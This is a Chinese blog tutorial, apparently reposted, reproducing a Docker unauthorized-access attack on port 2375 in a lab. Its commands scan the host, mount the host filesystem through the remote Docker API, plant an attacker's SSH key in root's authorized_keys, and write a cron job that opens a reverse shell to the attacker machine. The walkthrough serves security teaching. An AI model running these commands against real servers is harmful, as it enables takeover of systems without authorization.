码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 漏洞复现 - - -Docker未授权访问漏洞


    目录

    一.Docker简介

    二.Docker漏洞产生原因

    三.Docker未授权漏洞复现

    1.docker实验环境

    2.漏洞复现

    第一步,信息收集

    第二步,访问2375端口

    发现page not found(页面没有找到)代表json代表2375有存在漏洞

     第三步,查看info目录

    第四步,docker链接目标机器

    ​编辑 第五步.docker未授权写ssh公钥得到shell:

    ​编辑

    第六步 ,ssh进行连接

    四,docker未授权写定时任务获取shell

    1.启动容器挂载到宿主机

    2.kali开启监听

    ​编辑

     3.写入定时反弹shell

    4.查看定时任务

     5.获得目标shell


    一.Docker简介

    Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。(Sandbox又叫沙箱、沙盘,即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除)

    二.Docker漏洞产生原因

    因为docker赋有远程的远程控制,docker开放了一个tcp端口2375,如果没有限制访问的话,攻击者就会通过这个端口来通过docker未授权来获取服务器权限。

    三.Docker未授权漏洞复现

    1.docker实验环境

    目标机器: CentOS7+Docker、IP:10.1.1.200
    攻击机器:Kali+Docker、IP:10.1.1.100
    虚拟机实验环境链接:https://www.hetianlab.com/expc.do?ec=ECIDcc41-1aa8-4db8-8f69-7e834b8aa17b
    来源:合天网安实验室

    2.漏洞复现

    第一步,信息收集

    nmap -p- -sV -T4 10.1.1.200

    第二步,访问2375端口

    发现page not found(页面没有找到)代表json代表2375有存在漏洞

     第三步,查看info目录

    info一般指的是安全目录,通过安全目录查看docker消息

    获取image

    10.1.1.200:2375/images/json

    关于Redis未授权访问漏洞利用的介绍与修复建议
    pdf 0星 超过10%的资源 108KB
    下载

    第四步,docker链接目标机器

    通过docker -H参数连接目标docker

    docker -H tcp://10.1.1.200 ps -a         //列出所有容器

     docker -H tcp://10.1.1.200 images         //列出所有镜像

     

     docker -H tcp://10.1.1.200 start 3dc8d67b679       //开启一个停止的容器

    连接一个已经启动的容器:四种方法

    docker - H tcp://10.1.1.200 exec -it 3dc8d67b679 bash

    docker - H tcp://10.1.1.200 attach 3dc8d67b679(容器id)

    docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像的id)  

    //mnt为挂载点  ----entrypoint是入口

    docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh    //创建一个新的容器busybox容器,讲宿主机的磁盘挂载到容器

     第五步.docker未授权写ssh公钥得到shell:

    docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash  4c9608fd76ba //启动一个容器,挂载宿主机的/mnt目录

     ssh-keygen -t rsa        //生成一个ssh公钥

     

     cat /root/.ssh/id_rsa.pub       //查看生成的公钥

     

    讲公钥写到目标/root/.ssh/authorized_keys文件中

    公钥内容:

    echo "sshrsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2ireX9ybOimMcML2K4gDqC4q0Gx7tgg1K6l4gYUHKQ/00a6O4l5cENirdgWrL/5S6Z/7LkVrxeQQKSKUjvk/3v+o3fE8ArdNLUbyGIDhsabuHLpgs5bT+HTrIegvymhMbftPnwYiR2GRZ+vNdQuIJjwD+nTQGR8ANOLSKNH0uIb1ZgOMcJC2IHIqtueC2t/MhY6Ot8mZnPCijeRfZean4AELfa2EJ0KZy1n68s1IJHJJuAo6+Ckf81dB1gnRtsm/5jp5YW/AEv9GfcrYv6+22hlFN2MAt1JH+iRPup/9joofCG/eSGEZmhPfjcPguhTOt4GqjqPVlPpWPSsGzjYnWpRrjJpVEdcoli9MaobCja/YtO1iN2SgLUUeMSRf+ysNHuvd5oOIpJBMYiGjY2pwZ45zEuqvI2P+zjCxVCYNhzVKNv+7FIaDLYZQPSMn9bYf6j0zhrvDuPWUkI0iaDTlf0Oq1nwesWDhJRIybWMfTjV+UdDxNvz2GiMKo73GLvhs= root@kali" > /mnt/root/.ssh/authorized_keys 

    >这个代表的意思为覆盖 所以在最后一句加入的意思是讲公钥内容覆盖到/mnt/root/.ssh/authorized_keys中

    redis未授权漏洞vulhub靶场复现
    pdf 0星 超过10%的资源 498KB
    下载

    第六步 ,ssh进行连接

    ssh root@10.1.1.200 -i id_rsa           

    四,docker未授权写定时任务获取shell

    1.启动容器挂载到宿主机

    docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash  4c9608fd76ba

    2.kali开启监听

    nc -lvvp 1212      //监听1212端口

     3.写入定时反弹shell

    echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" >  /mnt/var/spool/cron/root

    4.查看定时任务

    cat /mnt/var/spool/cron/root         //查看写入到/mnt/var/spool/cron/root的任务

     

     5.获得目标shell

    输入whoami查看用户 

     

     实验结束!!!

     

  • 相关阅读:
    插图精美的html & css教程
    ShowDoc后台文件上传漏洞复现 CVE-2021-41745&CNVD-2020-49480
    [附源码]java毕业设计汽车租赁管理系统论文
    SpringBoot+JWT实现单点登录解决方案
    为什么 think-cell 图表中的标签显示为白色矩形?
    Maven 基本使用及依赖管理。
    MySQL 开启配置binlog以及通过binlog恢复数据
    复杂查询方法-视图、子查询、函数等
    网络分析笔记04:解析pcapng的增强分组块
    java.lang.Float类下compare(float f1,float f2)方法具有什么功能呢?
  • 原文地址:https://blog.csdn.net/weixin_67503304/article/details/126371771
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号